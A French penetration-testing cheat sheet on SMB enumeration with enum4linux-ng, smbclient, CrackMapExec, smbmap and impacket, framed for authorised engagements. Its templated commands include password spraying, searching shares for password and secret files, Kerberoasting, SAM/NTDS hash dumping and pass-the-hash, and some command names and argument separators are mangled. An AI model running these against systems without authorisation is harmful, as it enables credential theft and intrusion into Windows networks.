MDstable
NoteSnippetChecklistPlaybook

Enumération SMB

Enumération complète du protocole SMB avec enum4linux-ng, smbclient, CrackMapExec et impacket

snippetintermediate 2026-05-10 3 min read
smbenumerationpentestwindowssambacme

Objectifs

Identifier les partages SMB accessibles, les utilisateurs, les politiques de mot de passe et les sessions nulles.

⚠ Attention — Vérifier que les ports 445 et 139 sont dans le scope autorisé avant toute énumération.

Outils

| Outil | Usage | |---|---| | enum4linux-ng | Enumération SMB/RPC complète (remplace enum4linux) | | smbclient | Navigation manuelle dans les partages | | crackmapexec / cme | Enumération + credential testing | | smbmap | Mapping des permissions sur les partages | | rpcclient | RPC calls manuels | | impacket | Suite d'outils SMB/AD avancés |

Enum4linux-ng — Enumération complète

bash
Variables
{{TARGET}}
{{OUTPUT_DIR}}
{{DOMAIN}}
# Enumération complète (users, shares, groups, policies)
enum4linux-ng -A {{TARGET}} -oA {{OUTPUT_DIR}}/smb-enum
# Avec credentials
enum4linux-ng -A {{TARGET}} -u {{DOMAIN}}/guest -oA {{OUTPUT_DIR}}/smb-auth

Smbclient — Navigation partages

bash
Variables
{{TARGET}}
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
# Lister les partages (anonyme)
smbclient -L //{{TARGET}} -N
# Lister avec credentials
smbclient -L //{{TARGET}} -U {{DOMAIN}}{{USER}}{{PASSWORD}}
# Se connecter à un partage
smbclient //{{TARGET}}/SYSVOL -U {{DOMAIN}}{{USER}}{{PASSWORD}}
# Commandes utiles dans smbclient :
# ls — liste les fichiers
# get file — télécharger un fichier
# put file — uploader un fichier
# recurse ON; prompt OFF; mget * — télécharger tout

CrackMapExec — Enumération avancée

bash
Variables
{{TARGET}}
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
# Enumération des partages
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --shares
# Enumération des utilisateurs
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --users
# Enumération des groupes
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --groups
# Sessions actives
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --sessions
# Politique de mot de passe
cme smb {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} --pass-pol
# Spray de passwords (ATTENTION : risque de lockout)
cme smb {{TARGET}} -u userstxt -p 'Password123!' -d {{DOMAIN}} --continue-on-success

Smbmap — Permissions

bash
Variables
{{TARGET}}
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
# Mapping des permissions
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}}
# Recursive listing
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R
# Recherche de fichiers sensibles
smbmap -H {{TARGET}} -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -R -A "\.txt|\.conf|\.ini|password|secret"

Impacket — Attaques avancées

bash
Variables
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET}}
{{OUTPUT_DIR}}
# Lister les SPN (Kerberoasting)
GetUserSPNspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET}} -request -outputfile {{OUTPUT_DIR}}/spns.txt
# Utilisateurs AD
GetADUserspy {{DOMAIN}}{{USER}}{{PASSWORD}} -dc-ip {{TARGET}} -all
# Dump SAM/NTDS (si admin)
secretsdumppy {{DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET}} -outputfile {{OUTPUT_DIR}}/hashes
# Pass-the-hash
smbclient //{{TARGET}}/C -U {{DOMAIN}}{{USER}} --pw-nt-hash NTLMHASH
Checklist SMB0/10

Pièges fréquents

  • SMB signing activé : bloque les attaques de type NTLM relay
  • Win10/Server 2019+ : SMBv1 désactivé par défaut — ne pas compter dessus
  • Lockout : vérifier la politique avant tout password spray (généralement 3-5 tentatives)
  • Sessions null : souvent désactivées sur les AD modernes
  • Firewall : port 445 filtré mais 139 ouvert — essayer les deux
OPS·BRAIN v1.075 notes · Securitylocal